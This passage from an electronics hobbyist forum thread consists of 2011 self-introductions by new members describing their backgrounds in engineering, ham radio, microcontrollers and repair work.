I am interested in interface phisical world with electronics and use it on musical / artistic performances.

my identi.ca handle is @rlameiro  twitter is @ricardolameiro

bye
Title: Re: New Member, Please introduce yourself
Post by: CyberWalker on June 12, 2011, 09:15:36 am
Hello to everyone!  ;D

This is Ioannis, I am 30 years old and a post-graduate student with a degree in "Electronic and Computer Engineering Department" of the Technical University of Crete/Greece.

My hobby has been electronics since I was at the age of 8, so I kinda always knew what I wanted to become when I grow up! ;D

I have developed quite frankly some dozens of really nice projects since then but a have kept only a small portion for myself. Most of them were donated to my friends or have been "TAKEN APART" just to re-construct them into something new! I have the strongest childhood memories from the times that I had to construct the mechanical part of the equipment with only a bunch of trivial tools and ratty materials!
These were the best times for me because I had to invent sophisticated and witty designs to overcome all kind of problems, mainly electro-mechanical in nature.

My closest friends from HighSchool used to call me either a crazy-scientist or 'Gyro the Gearloose', like the Disney duck!, which they sometimes meant is a rather befooling way but I didn't mind! I took pride in all my little effort for success... I knew that after a great 'boom' comes a great 'wow!!!'  ;D :P
Title: Re: New Member, Please introduce yourself
Post by: Pickers on June 12, 2011, 09:30:31 am
Hello all,

My name is Kris and I'm from the UK! Electronics has been a major hobby of mine as far back as I remember, I started off with one of those simple safety electronics kits and went from there! Designed and built a few simple circuits and restored a load of vintage kit. I'm currently looking to expand my knowledge and gain the qualifications necessary to advance my career and hobby a bit. I've decided to go to university and study electronic engineering with the hope to get me on the right path to a decent job... Well that and to justify the purchase of some nice kit for my workshop :-).

Cheers
Kris.
Title: Re: New Member, Please introduce yourself
Post by: Vertigo on June 13, 2011, 06:56:41 am
Hi, i'm just starting electronics as a hobby and found this place via youtube.
i'm into tabletop robotics and i want to build some BEAM robots to begin with.
since i cant find any real active forums on that, i hope to chat with some other
BEAM makers on here.
Title: Re: New Member, Please introduce yourself
Post by: westfw on June 13, 2011, 07:55:23 pm
My name is Bill Westfield.  I'm an EE by education (BSEE UPenn), but have spent the last 30 years or so doing software development for the computer networking industry, mostly at the relatively low level.  More recently I retired and have been attracted to Arduino and similar "educational products"; I've currently taken up the task of supporting the Arduino project's copy of the optiboot bootloader firmware, and plan to do a bunch of similar small things that don't involve many layers of beaurocracy and pain...

One of my goals in is to get FTDI's Vinculum 2 chip to do interesting things.  It pisses me off that I can get BT or 802.11 for $10 for my laptop (USB connection) but a theoretically simply device to talk SPI to my microcontroller is 5 to 10 times more expensive.  Grr.  Vinculum 2 looks like it might be able to help fix that, but FTDI seems to be hiding details of how things work.  That may put it right up my alley/skillset.  squeezing results out of obscure and poorly documented hardware.  Yeah.

I was WestfW back in college (first 5 letters of your last name, first letter of your first name, standard algorithm.)  WestfW@Wharton-10  Later I was billw@mit-xxx (guest account) billw@sri-kl.arpa, billw@simtel20.msmr.army.mil, billw@score.stanford.edu, (and etc), and then billw@cisco.com for a LONG time.  But "billw" was popular out in the real world, and was already take on most of the public email systems, so I settled for going back to WestfW, which seems to have pretty good search properties!
Title: Re: New Member, Please introduce yourself
Post by: DevilMKD on June 15, 2011, 08:54:08 pm
Hi,
My name is Goran and I am an electrical engineering student, I have just finished my high school, and now I'm going to apply for an university.
I am mostly interested in PIC microcontrollers.
Now I'm design an DDS signal generator with PIC16F887 control, but first I need to repair my PicKit2 :)
See you,
Goran
Title: Re: New Member, Please introduce yourself
Post by: gregariz on June 16, 2011, 10:17:34 am
I'm Greg,

I've been watching the EEVblog for a few months on and off now. I'm 37 and suspect not too different in age/background to Dave. I also grew up in Australia and read most of the same mags (ETI, AEM and EA), having been a hobbyist since primary school. Unlike Dave I grew up in the sticks so most of my attention was paid to radio's and how to design them and improve performance. I must have built at least a hundred kits between primary school and high school including just about every funway kit in the books plus a bunch of magazine, tandy and talking electronics bugs. In my teenage years I then moved on to the Microbee.

At Uni I concentrated back on the radio side and stayed in Uni for too long ending up with a PhD in RF. I then moved to the US as I found the job situation in Australia a little poor for what I was doing - either that or I was overqualified by then. Now I live and work as a practicing engineer in Arizona but am still a radio and electronics hobbyist nut, keeping a lab at home and tinkering most days, so I guess I'm proof that you can be academic, practical and a hobbyist, so never fear!

Anyways, thanks to Dave for this forum, its good to see so many passionate about electronics.

Title: Re: New Member, Please introduce yourself
Post by: Semantics on June 17, 2011, 10:30:48 am
Hello, I'm a 31 year old from Florida, USA. My formal education was in Comp. Science which makes me a software guy as my primary class. I've been attracted to hardware and software as a kid and I just plain didn't have the space for getting serious into hardware. ;D As a kid I've built and played with electronics kits and did some very basic wiring stuff with arcade boards and computer hardware but that was about as far as I got. Now that I'm older I wanted to revisit that part of me and, well, with electronics information so much more accessible today than 21 years ago (and the square footage to get real equipment) now's as good a time as any!
Title: Re: New Member, Please introduce yourself
Post by: Madman on June 19, 2011, 01:21:33 am
Hi Dave and all members of the forum,

I am Pierre, aka Madman, from Switzerland. I am a full-time trainer for traffic controllers. My other interests include modelling, watch making, photography and motor biking. I was a real dummy in electronics until I discovered Dave's blog. This triggered a resolution to become less dumb, and that's why I am here. Please do not kick me out immediately, I promise to learn quickly.

I will start by reading though your recent posts, and find an appropriate place to show you my workbench.

Best regards to all,
- Pierre Madman
Title: Re: New Member, Please introduce yourself
Post by: Dataforensics on June 22, 2011, 09:49:39 am
Hello, my name is Tony. For the last 25 years I have been employed in computer forensics. Before that it was elecronics/radio research and development. I am trying to re-kindle my interest in electronics and even perhaps start using my amateur radio callsign again. First off I need to repair my oscilloscope rescued from my loft.

Tony G8KLR
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on June 22, 2011, 01:05:26 pm
Hi Tony,
I hope you do become active in Amateur Radio again,as it is still a lot of fun,even for OFs like myself. :)
What brand/model of Oscilloscope do you have?

Bryan VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: Precisiontools on June 22, 2011, 10:11:28 pm
Hi all

Have been in the electronics game for about 22 years. First as a tech, then development and now looking into some new things. Found Dave's vids interesting and entertaining so now here we are!

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Retro on June 23, 2011, 09:04:30 am
Just saying Hi..
Title: Re: New Member, Please introduce yourself
Post by: kwkarth on June 24, 2011, 04:00:05 am
Greetings everyone, from sunny Oregon, USA!
Dave, I saw one of your VBlogs and liked your style.  I've been a lifelong nerd, mostly interested in audio electronics and acoustics.
I am semi-retired.  I spent many years in the Television Engineering group of a famous T&M instrument manufacturer of yesteryear, and several years managing an engineering group for the world's largest uprocessor manufacturer.  I worked for a time for a world famous cable manufacturer as their headphone and digital life products manager.  I am active in the headphone audio world through various manufacturers and through the "head-fi.org" forums.

I'm looking forward to spending time on your forums and to your forthcoming VBlogs.

Cheers!
kw
Title: Re: New Member, Please introduce yourself
Post by: CodeDog on June 25, 2011, 09:37:38 am
Hi all, my name is Mark and I'm an EE (graduate of 1984). I grew up in Brisbane, now live in Melbourne and cut my teeth on a steady diet of Electronics Australia and ETI mags in the seventies. First major project was the 'miniscamp' microcomputer in 1978 - an 8-bit micro programmed via toggle switches and had a massive 256 bytes of memory.

How things have changed!

cheers,
 
Title: Re: New Member, Please introduce yourself
Post by: Seeker7 on June 25, 2011, 08:30:52 pm
Hi everyone, I'm Andrew, I'm in New Zealand.  I have no electronics experience whatsoever, other than messing around with old school volt/amp-meters in physics,  a *long* time ago!

I've been pointed to this site from garagejournal.com when asking about multimeters.  I have a car that I want to be able to do work on, and am looking for basic test equipment - multimeter, test light, etc.  I also want to ultimately get a variable power supply, soldering iron, and the rest - I love my toys/tools!
Title: Re: New Member, Please introduce yourself
Post by: Rousenator on June 26, 2011, 06:00:00 pm
Hello - Time to do alot of reading!
Title: Re: New Member, Please introduce yourself
Post by: willd1971 on June 28, 2011, 01:15:22 am
Hi I'm William,

I'm a product development professional with more than 10 years experience in electronics, software, mechanics - basically anything that goes into modern technical product development.

Having been frustrated by the lack of easy availability of far east brands in the UK and Europe I recently set up my own business to bring these items to the local market, partly because I want to be able to use good quality low cost equipment in my own lab, and also because I'm sure there's many other people out there like me who would like to see some variety in the local offerings.

William
http://www.labtronix.co.uk
Title: Re: New Member, Please introduce yourself
Post by: ipman on July 01, 2011, 04:07:37 pm
Hello all.

I'm an electronic tehnician, but also engineer in industrial automation by training. I am from Romania, living in the capital city Bucharest.
Now I work in telecom, just loosely related to electronics, but ... here we don't have an electronic industry at all.

I started with electronics when I was around 10 years old, when our country was in comunist era. Some time in my life I had to leave alone my hobby, other times I was attracted ... but I collected several tools and meters during the time, which I still own and use with great pleasure.

Nice to meet all of you.
Title: Re: New Member, Please introduce yourself
Post by: ChristofferB on July 06, 2011, 09:11:45 am
Hello, i'm Christoffer from Denmark. I work with electronics of interest (havent attended any form of education in the subject.) I've been interested in electronics for about 7 years, stopped some years ago, and now i've started again, more agressively. Im building my lab, and so far i have almost everything i need concerning instruments, tools and components (got very lucky at flea markets). heard about the EEVblog from www.hackaday.com (http://www.hackaday.com), and am watching the updates regularly. My main interests is in RF electronics and digital/microcontroller stuff.
 
Title: Re: New Member, Please introduce yourself
Post by: James on July 07, 2011, 10:48:01 am
Hi, my name is James, I live in Australia. I grew up with a passion for electronics and pulling things apart to see how they work! This passion soon became the center of my studies where I am currently in my last 13 weeks of Yr12 (school). If all goes well I will be studying electrical and electronics engineering at one of the three universities in Adelaide.

From when I was younger to now my passion for electronics has leant towards electronic design engineering and this is what I would love to do for a career! In a way I have already started with this career as I am the designer behind an agricultural project (which I'm not allowed to say too much about!:( ) working on the hardware and software. This has been a fantastic project so far as it has given me a true insight into digital and analogue, intergrated and embedded electronics systems.

Anyway thats enough about me! I'll go and read the forum,

James
Title: Re: New Member, Please introduce yourself
Post by: walcen on July 07, 2011, 12:44:02 pm
Hi every one, I'm Walter and I hope to be able to contribute to the forum rather that just leach. Thanks for your multimeter tute's Dave.
Title: Re: New Member, Please introduce yourself
Post by: michaelc on July 07, 2011, 04:51:58 pm
My name is Michael.

 I have few few formal qualifications, I am mostly self taught.

I have Been employed in the electronic/radio comms industry for over 22 years.  Been living and breathing electronics, computers, audio, amateur radio, home theatre etc. for as long as I can remember.  I can remember getting electronics kits to build in my early primary school days, I have vivid memories of my Dad building a multimeter from a kit when I was four or five years old. My Dad was big into photography and loved CB radio.

While I was still at high school I designed an interface to connect the physics lab air track optical sensors to my Commodore 64 computer joystick port. I wrote simple programs to quickly show the results of conversation of momentem/collision experiments and also acceleration experiments... this was back in the day when personal computers were very much a novelty and the people in the computer club were nerds!
Towards the end of high school I built a small wheeled robot that was under (wired) control of the C64. I had one of the early West German Commodore 64 computers, the one with the socketed IC's... I don't know how many CIA chips I blew up and it was great to just plug in a new one!  Built a TEC-1 (Talking Electronics Computer magazine) Z80 computer and had some fun with simple low level programming as well.
Always had plenty of Electronics Australia, ETI, Silicon Chip, etc magazines on hand for reading.  I still have issues from the 70's and 80's that I love looking through.

Got involved with amateur radio in the early 90's, about the same time I arrived at my current job. Originally based in install/servicing pro marine electronics (radar, sonar, GPS) back in the days when a GPS receiver was a $9K plus investment and it only worked for a handful of hours in the day. I still have an $18K JRC JLR-4000 GPS receiver around here somewhere! The company I work for has expanded into all kinds of things... radio comms (private and commercial broadcast), satellite comms, industrial electronic design and repair, industrial and commercial electrical... one day I might be reparing an old Philips FM320 UHF CB, the next I might be on a private plane heading off to a faraway port to work on a fishing boat. My work used to take me from the depths of the bilge to the top of the mast.

More recently I have been getting into digital amateur radio and using the internet to link radio systems. Love the D-Star system, had an IRLP node operational for around 10 years, built my own GMSK digital radio repeater system, I have fun with APRS, the house is full of Clipsal C-Bus home automation gear, my Toyota Hilux is crammed full of amatur radio equipment, I love movies and my home theatre with 130" 2.37:1 cinemascope screen and 1.33x anamorphic projection systems gives me a "just like the movies" experience at home.  I've set up a community WiFi system using an abandoned 2.3GHz MDS transmit antenna on a 45m tower, back in the days before widespread ADSL it was a haven for the local gaming community. I've set up short and long range WiFi links, experimented with radio telemetry systems... decoded telemetry from high altitude balloons, I've spoken to Dr. Andy Thomas via amateur radio when he was orbiting the earth on the MIR space station.

I love tech stuff... all tech... computers, networks, embedded systems, wireless comms, encryption, voice codecs, circuit design, programming  and the list goes on... But I've already taken up too much room.

Michael
Port Lincoln
Title: Re: New Member, Please introduce yourself
Post by: lukestuts on July 08, 2011, 02:52:50 am
Hello EEVblog forum, my name is Luke Stutters and I watch Dave's videos on Youtube.
Title: Re: New Member, Please introduce yourself
Post by: lavo-1 on July 09, 2011, 01:23:41 pm
Ello from UK...but I'm currently on an oil rig in the middle of the North Sea. ???

I'm a ROV pilot/Technician currently working in the Oil Ind.
I'm a qualified in Electrical Engineering to HNC level and have worked in the Commercial and Domestic Electrical trade for 22 years.
Found this forum through Daves YouTube bloggs which allways have a way of inspiring me to go further into the electronic side of work (I mostly deal with HV three phase electrics).

Keep up the Bloggs Dave and to everyone who contributes to this forum, WELL DONE. 8)
Title: Re: New Member, Please introduce yourself
Post by: FenderBender on July 16, 2011, 05:23:50 am
Hey,

My name is Tim. I'm 18 years old, from New Jersey, USA. Just started with electronics about a year and a half ago, but I'm really getting into it. Glad I can be a part of this.
Title: Re: New Member, Please introduce yourself
Post by: eejim on July 16, 2011, 10:06:51 am
Hi, I'm Jim from NJ.  I have an EE degree but work in Power distribution, not electronics.  However, electronics is my  hobby.  I worked on a few robots in college, which was alot of fun, but that was 6 years ago.  I am finishing my basement and am creating a space where I can work on electronics.

I look forward to chatting with and learning from others in this environment.
Title: Re: New Member, Please introduce yourself
Post by: sean87 on July 21, 2011, 06:54:13 pm
Hi all,

I am Sean almost 24 from Netherlands. At the moment I am a last year student of electrical engineering. But I regret why I didn't pay attention to practical side of my studies till a while ago which I happen to see Dave's videos. I am a pretty good student in theroy subjects (Passed all subjects with top grades :P) But when it comes to practice, eveb making a LED to blink I S.ck at it!!! Anyway Since I got to know EEVBLOG videos I really got motivated to do some serious stuff...specially the Dave video about job interview. And when I saw his video about setting up a electronics lab, I spent all my savings on buying some serious stuff (Although I have access to very high end stuff at university...I just wanted to look more profetional in the eyes of friends, family etc..). Hope I can use them in a good way!

I am also doing programming (I can do C and C# programming waaaay much better than my electronic power).

Anyway, glad to be here to learn and get some experience from elder engineers and guys!
Title: Re: New Member, Please introduce yourself
Post by: terkng on July 25, 2011, 02:40:32 pm
Hi everyone,

I am TK from Singapore. I am in software development all these while (> 10 years) though I had taken some electronics courses during my university days. I have always been fiddling around with tinkering with electronic toys and repairing stuff around the house. Thanks to Dave and EEVblog, I am enjoying myself getting back into electronics for the past few months and moving forward, I am planning to embark on some small projects during my spare time.

Looking forward to spending more time on the EEVblog forums  ;D

Cheers,
tk
Title: Re: New Member, Please introduce yourself
Post by: topcat on July 31, 2011, 11:45:31 pm
Hi All,
I’m TopCat. I studied electrical engineering but never worked in the field. Lately I have become interested again in microcontrollers, radio, and the blog of course.
Title: Re: New Member, Please introduce yourself
Post by: Flapjackbatter on August 02, 2011, 10:29:26 pm
Hi, Flapjackbatter here.
From Norway.
I am not educated in electronics. It is a hobby.
I am mostly into analogue electronics, but have started to fiddle around with microcontrollers. (Who hasn't these days. : |
Title: Re: New Member, Please introduce yourself
Post by: ablacon64 on August 03, 2011, 12:12:44 am
I'm from Brazil, not really into design but I like electronics a lot. I'm into computer and notebook mainboard repair/maintenance with 10 years of experience in the field.
Title: Re: New Member, Please introduce yourself
Post by: donbrenrik on August 03, 2011, 05:09:53 am
Hello from central MA area.  I am a retired Computer Field service Engineer age 75.  Worked for Burroughs; RCA; Data General and Fenwal Safety Systems.  Trying to stay active in electronics; presently rebuilding  a
6 digit B7971 Nixie Clock using MM5314N IC.  Bought these Nixie tubes from Meshna years ago.  Looking forward to visiting the site often.  Bye for now.
Title: Re: New Member, Please introduce yourself
Post by: marcosgildavid on August 04, 2011, 09:08:28 pm
I'm from Portugal, i work as a Developer, DBA and SysAdmin. I'm trying to finish an Electrotechnical engineering degree on the side and I'm getting into electronics in order to  broaden my knowledge :D

LinkedIN: http://pt.linkedin.com/in/marcosdavid (http://pt.linkedin.com/in/marcosdavid)

Title: Re: New Member, Please introduce yourself
Post by: hodx on August 10, 2011, 09:23:43 am
It took me a while , but i'm here now....mostly due to Dave Jones...finally a man who tells it like it is....My name is Herman and i', from Maryland in the USA...been tinkering with electronics since tubes(valves)....now microcontrollers are my new toys,next i want to get into animatronics and hack toys...Hey Dave more FPGA stuff
Title: Re: New Member, Please introduce yourself
Post by: Glocal on August 14, 2011, 08:17:11 pm
Helloooo everyone! 
I am me from Sweden and EE strudent and I love the blog.
Title: Re: New Member, Please introduce yourself
Post by: TT89 on August 17, 2011, 03:27:36 am
Hello everyone,

I'm an EE student from Finland, Turku. Age 22, next week beginning my second year on 4 years study to Bachelor of Engineering. After a half year of studying it seems that electronics has become so big part of me that I can call it a hobby too. Love building stuff, experimenting and really enjoy the physics aspect of electronics and electricity. Love the blog, with it's information and engineering way of humour.  ;D
My keen interests are electric vehicles, radio controlled planes and computers (esp. on the hardware side).

Regards,

TT89
Title: Re: New Member, Please introduce yourself
Post by: SuperJeep on August 18, 2011, 04:46:05 pm
Hi everyone, I'm an electronics engineering student from Canada (ehy) and discovered this forum through the eevblog. I signed up to hopefully learn something about building cool hobby circuits and learn about the world of micro controllers since I have zero experience with them....yet!
Title: Re: New Member, Please introduce yourself
Post by: ciccio on August 18, 2011, 06:05:58 pm
Greeting to everyone
My name is Maurizio.  I live in Italy , and I am a self-employed engineer.
I make a living by manufacturing intercom systems for the entertainment industry, an designing OEM commercial audio devices.
Sometimes I write technical documentation and user and maintenance manuals for customer Companies,  both in Italian and English (and sometime French).
I'm a Chartered Engineer and also a Certified Environmental Acoustic technician, so I do environmental and workplace noise assessments, and produce the relevant documentation.
I have an university degree in Nuclear Engineering, but I've always worked in electronics, both audio and industrial (temperature, pressure and humidity measurement and control).
I also have a good experience in overseas installation work, having worked in  Africa for many months installing sound systems in public places, churches and mosquees.
Title: Re: New Member, Please introduce yourself
Post by: Dieselrunner88 on August 28, 2011, 02:45:00 am
Hi everyone I am a public bus technician with a background in electronics.  I am always fascinated in how electronic devices can stand such an abusive environment and yet fail so easily.  I am an American from North Carolina.   I tinker with electronics mostly failure analysis.
Title: Re: New Member, Please introduce yourself
Post by: Keith on August 28, 2011, 10:32:20 am
Hello All - Keith from PA. I have pulled all my gear out of storage, just completed building my bench(30" x 8'). I'm not doing EE for a living although I'm formally trained. I simply miss it. Looking forward to interacting with you all....regards
Title: Re: New Member, Please introduce yourself
Post by: dumpystig on August 30, 2011, 08:30:06 am
Hi folks,
            My name is Mark, I live in the UK, and I've been an electronic hobbyist/DIY'er since my early teens. No formal electronics training (although I'm an electrician by trade) but I've got by over the years fixing/adapting/building/modding a multitude of differing circuits, projects, parts etc..

I'm looking forward to getting involved in this site, hopefully I may be able to help someone along the way.

Title: Re: New Member, Please introduce yourself
Post by: Kozmyk on August 30, 2011, 09:47:37 am
Apologies
I just realised that I'd missed this "Introduce Yourself" post. So belatedly:
I'm retired now, I used to be a sound engineer - live and studio, had a modest PA rig of my own and worked for bigger rigs.
I've designed and built recording studios, been a college technician, field service engineer and a TV production line repair technician.
Invented and designed a few things, none of which made me rich.
All the while chasing the impossible dreams of a rock musician (bass guitar mainly) and avoiding the restrictions of general consensus reality wherever possible ;-)
I used to enjoy a bit of target shooting, won a few medals; but my mobility problems aren't really conducive to that these days.  :(
Recently I've been mucking about with RC models, revisiting an old hobby from when I was a boy. Helis, planks, boats and 1 truck.
I do the odd EE project for my own amusement, occasionally I get roped in on an industrial project by mates still in the industry.

Found EEVBlog through YouTube and RCModelReviews when looking for a scope.
Title: Re: New Member, Please introduce yourself
Post by: Computeruser on August 30, 2011, 10:10:27 am
Hello All,

I have been looking around EEVBlog and just joined. I hobby (a bit) in electronics and join the electronics hobby with my model railroad. I found EEVBlog while researching a Tek TDS2024C oscilloscope that I finally purchased. It is a fine instrument and I like it very much.    .... C
Title: Re: New Member, Please introduce yourself
Post by: Stiege on August 30, 2011, 11:25:42 am
Hey, I'm Alex, studying Electrical Engineering at Waikato University in New Zealand. 2nd year at the moment but enjoy doing electronics out of the classroom way more than the math and physics we do in lectures.

Looking at doing my first electronic work placement this summer and really looking forward to that. If anyone has any positions free I can send my CV in!!! Was in the Army for 4 years as an officer before leaving in order to take up full time study.

Cheers

Alex
Title: Re: New Member, Please introduce yourself
Post by: robrenz on August 30, 2011, 12:18:41 pm
Hello everyone,  I am a journeyman machinist/mechanical engineer with a business designing and manufacturing precision spindles and grinding equipment.  I am a wannabe when it comes to the electronic end of things but I am working hard at getting up to speed. EEVblog is definitely a big help. The agilent scope  is what led me to this site.  I was hooked! I went back and watched every episode until i was caught up.  Thanks Dave.
Title: Re: New Member, Please introduce yourself
Post by: SlimShader on August 31, 2011, 05:44:54 pm
Hi all!

My name is Colin, and I live in Russia, just south of Moscow, although I'm actually British.
I studied electronics design at college, but moved into PC maintenance and repair early in my career and haven't touched a soldering iron for 20 years. Watching Dave's EEV blog and stuff like Make Magazine have reminded me how much I enjoyed tinkering and building in electronics, so I'm in the process of putting a workshop together to allow me to re-learn all the good stuff I've forgotten and make some nice electronics projects for myself.

See you all on the forum!

Colin
Title: Re: New Member, Please introduce yourself
Post by: vlelet1969 on September 01, 2011, 12:42:32 pm
Hello everyone,

I'm from NYC and a certified early childhood education teacher. I used to dabble in hobby electronics and finding this forum brought back the itch to have an electronic project again. Many years ago, I successfully built my small version of a stereo amplifier based on the schematics of a popular car stereo amplifier.

I'm looking forward to learn from and share with other members of this forum.

 :)
Title: Re: New Member, Please introduce yourself
Post by: ThePranksta on September 02, 2011, 12:49:09 am
Hi all. Helgard from Cape Town, South Africa. Studied EE and Computers Sciences at Stellenbosch University.  Been in the industry for almost 4 years mostly doing firmware/embedded programming and hardware design assistance on low power rf products and GSM products.

Interests in anything electronic, especially anything that goes KNACK, BANG and BOOM!  ;D
Title: Re: New Member, Please introduce yourself
Post by: bullet308 on September 08, 2011, 08:05:56 am
Hi, I am in South Carolina, USA. I have dabbled in electronics since my father taught me how to solder when I was seven. Several decades later, I am trying to actually learn how this stuff works in some detail and depth. My personal interests are related to radiation metrology (Geiger counters, scintillation detectors, etc). The main thing characterizing these devices is the need for a low-voltage side to receive, process and display information from the high-voltage side without getting fried. Anyway, I am playing with  Atmel microcontrollers to do the bulk of the low voltage processing and display stuff. Love Dave's blog!  :-) Thanks!
Title: Re: New Member, Please introduce yourself
Post by: pedro48 on September 15, 2011, 09:49:35 pm
hello from sunny australia... been on the planet long enough for anti-oxidants to be important... and have a broad interest in the field, have a collection of trs-80's, a 1936 Stromberg Carlson and currently messing with arduinos..building a microcontroller bird bath/water feature .. just bought an analogue scope, and about to start messing with solar panels at scale,  played wolfenstein yesterday ... you should try it ... good for your heart.

looking forward to the forum...
Title: Re: New Member, Please introduce yourself
Post by: Crenwick on September 15, 2011, 11:51:32 pm
Hello everyone,

I'm from Belgium and studied electronics 25 years ago :-[ . I suddenly decided to come back to pcb's and components with the idee to make a lot of gadgets for my family  :)

I'm now busy with PIC's ...

See you,

Bernard
Title: Re: New Member, Please introduce yourself
Post by: ChrisKiwi on September 16, 2011, 03:57:29 pm
Greetings from New Zealand

I have about 20 years electronics industry experience ranging from design, manufacturing, management, testing, and production engineering.  Two and a half years ago I relocated to take up a new job with a tech start up as production engineer.   A number of us ended up being made redundant so I decided to go back to university.  I stumbled across this blog while researching the Rigol DSO's.  My main current interests are instrumentation and control.
Title: Re: New Member, Please introduce yourself
Post by: electrodynatronic on September 18, 2011, 05:47:16 am
Howdy from Texas.
Title: Re: New Member, Please introduce yourself
Post by: vk6hdx on September 18, 2011, 09:36:17 am
Greetings from Perth, long time listener to Dave's show and lurker here on the forums.
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on September 18, 2011, 11:17:47 am
Gooday,VK6HDX,

It's good to see more Hams invading the hallowed halls of EEV Blog! ;D
Are you on QRZ.com,too?

73,VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: Tin_Courier on September 19, 2011, 01:15:20 pm
Hello.  I'm Jeff Ryan in Portland, OR.  Have worked in metal fabrication, gas appliance service, and now ~1 yr into a gig with a custom RF controls company, doing service and modifications on industrial radio remote controls and packages.  Steep learning curve, this.  Slowly getting pretty comfortable troubleshooting our hardware (returns from the field, and production rejects), and have been slowly dipping my toe into reading and modifying existing code (we write in C, compile in Ubuntu, and ICP is done with dataflash hardware designed in-house.

I've had a hobbyist's interest in electronics for some time, but little proper hands-on experience until recently (previously lots of misguided attempts at too-clever DIY electronics projects, several completed kits, a little bit of breadboard time playing with transistors, op-amps, linear stuff with varying degrees of success.

I'm excited to get into a forum.  I don't spend a lot of time on the internet unless I'm actively researching something, but it seems like a great resource for browsing and getting (and giving) ideas.  I have some useful knowledge, but many gaps in my grasp and capabilities (more than I know, I'm sure), and I'm looking forward to getting a better practical sense of the terrain.

As far as the blog, I've jumped around the catalog for a year or two, and just recently started back to watch them in order (still cherrypicking a couple out of sequence) , and I've just watched the (first?) hardware puzzler (with the relays), thinking episode ~35, or around there.  I get a real kick out of Dave Jones (the bit about Assembly programmers (dickheads! ha!)!).  Anyway, hi everybody!

-Jeff Ryan
Tin_Courier

Attached below is backside of a board we make in house.  I didn't have anything to do with developing it, just wanted a picture.
Title: Re: New Member, Please introduce yourself
Post by: HammerFET on September 22, 2011, 10:39:06 pm
Hi all, my name is Raj. I'm from London in the UK, currently studying about a hundred miles west in Bristol. I've just finished second year of my Electrical and Electronic MEng and (hopefully) will be going into third year!

I'm a bit of a audio enthusiast (don't get me wrong, not one of these "audiophools") and I'm also getting into computer systems and trying to integrate smarter electronics into RC models (the long road to robotics!).

I have an obsession with tools and equipment, so much so that my student bedroom has no bed because... I kinda turned it into a workbench...

That's fine though cos I just steal my girlfriends room   :-X . I'm just not aloud to touch anything.

I move around a lot between Uni and home so am always trying to see where I can make things smaller and more transportable. I however still have, what my parents would say, "more sh*t than the average student".

I play guitar, or try to. I listen to anything but pop music  :o however have a strong devotion to METAL!!!

Unlike most metal heads very religious. I believe in SMT and nothing else unless absolutely necessary  ;). Tis the way forward!
Title: Re: New Member, Please introduce yourself
Post by: Mrbrillio on September 23, 2011, 05:53:20 am
Hi to everyone! :D
I'm from Florence in Italy and i'm an electric engeneering student and a new member of this community.  :D

I'm an hobbyst in electronic from when I started study it in technical high school. Beside i'm also interested in various aspect of "bricolage" especially like wood and metal working.

Otherway i hope to have some good time in this community. ;)
Title: Re: New Member, Please introduce yourself
Post by: BravoV on September 23, 2011, 01:37:13 pm
Hi everyone,

Been lurking for quite sometime and finally decided to jump in here.

An electronic enthusiast and love to tinker, aren't we all ? :D

Thanks Dave and Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Lanman on September 24, 2011, 07:01:54 am
Hello,
Dave from Central California.  I live just east of Clovis up against the Sierra Foothills.  I've been playing with electrons as long as I can remember.  I think the first words I spoke had something to do with Ohm's Law.  My dad was a Mechanical Engineer so he started it.  I started my education as an EE and was recruited by HP's Test and Measurements Div. before I finished college in 1984.  I was a lead tech playing with frequency counters.  I did failure analysis and some product development when needed.  After a short period of time, the bottom fell out of the test & measurements market and I needed a new job so I jumped to HP Labs as a Systems Engineer working on the Spectrum Project.  That changed my focus to Computer Engineering and fortunately for me HP paid the bills.  After 5 years of no sleep, literally almost never a day off, I achieved burnout and left HP.  Since those days, I've done a lot of different things; Telecommunications, Networking, Programing, Database Management, Large Systems Integration & Project Management.  I finally retired in 2004 and have been bored ever since.  Well not quite, but there are days when I miss the work... but not that much.  These days I spend much of my time woodworking, motorcycle riding, and still playing with electrons.   

I was doing some Internet research for a project I've been working on and found the EEVBLOG.  I love Dave's videos so thought I would stick around and see what's up.  A lot of good info here and some interesting projects.  Seems like good stuff all the way around.

Great site you have here Dave!
Dave               
Title: Re: New Member, Please introduce yourself
Post by: pastus on September 24, 2011, 07:15:03 am
Hi everybody!
I'm Alessandro from Italy.

I'm finshing my master degree in informatic engineer and I'm writing my final thesis on a new type of loudspeaker.

My work/hobby experience range from informatic consultant, network installation and configuration, wirelless bridge (even climb on pilon), radio ham (american and italian licence), repairing audio/video device,  electrical and telephone installator and industrial automation.

I been a research student in my university for one and half year on hydrogen production and storage topic, i went for work to thailand, malesia and taiwan.

I'm a "few time" user of Microchip uC.
I think that's almost all..
sorry for my fast/bad english...

Bye bye
Title: Re: New Member, Please introduce yourself
Post by: Achilles on September 28, 2011, 02:06:39 am
Hi all around,
I have been reading here from time to time so I decided to join....

I am Sebastian from Germany, student and work in our laboratory for climatology and remote sensing.
I learned sth. like a Physicist, Laboratory Assistent but went on to Geography then. Now I am maintaining the equipment of our lab, so it's like the neverending circle ;)

cheers, Sebastian
Title: Re: New Member, Please introduce yourself
Post by: aard3 on October 04, 2011, 04:52:00 pm
Hello from another yank in the states!
Title: Re: New Member, Please introduce yourself
Post by: j3h4 on October 04, 2011, 05:41:02 pm
Greetings from Denmark.

I have a major in computer science and a minor in mathematics, but have always been very interested in electronics. I played a lot with bread boards and kits when I was younger. I was also into ham radio at the time.

Now, I am into to the hacker movement, and dabble with all sorts of projects, both analog and digital. I like especially working with MCU's and developing firmware for them. My biggest ongoing project is a quadcopter build, where I try to make as much as possible from scratch.

I have three kids, so much of my time goes into that.
Title: Re: New Member, Please introduce yourself
Post by: macsopals on October 04, 2011, 05:56:19 pm
Hi everyone, I am Mac, I own several electronic stuff too. I am glad to be with you guys.
Title: Re: New Member, Please introduce yourself
Post by: JohnnyG on October 04, 2011, 06:35:32 pm
Hello everyone,

I'm a 4th year electrical engineering student in Canada. I'll be entering an MSc. in EE in the fall focusing on electromagnetics and medical imaging, but I still love to tinker with simple circuits. I've been watching the EEVBlog for a long time, but I finally decided to jump into the forum now!
Title: Re: New Member, Please introduce yourself
Post by: ZachFlem on October 05, 2011, 09:38:45 pm
Hi Folks,
I'm Zach, a telecommunications tech from Australia.
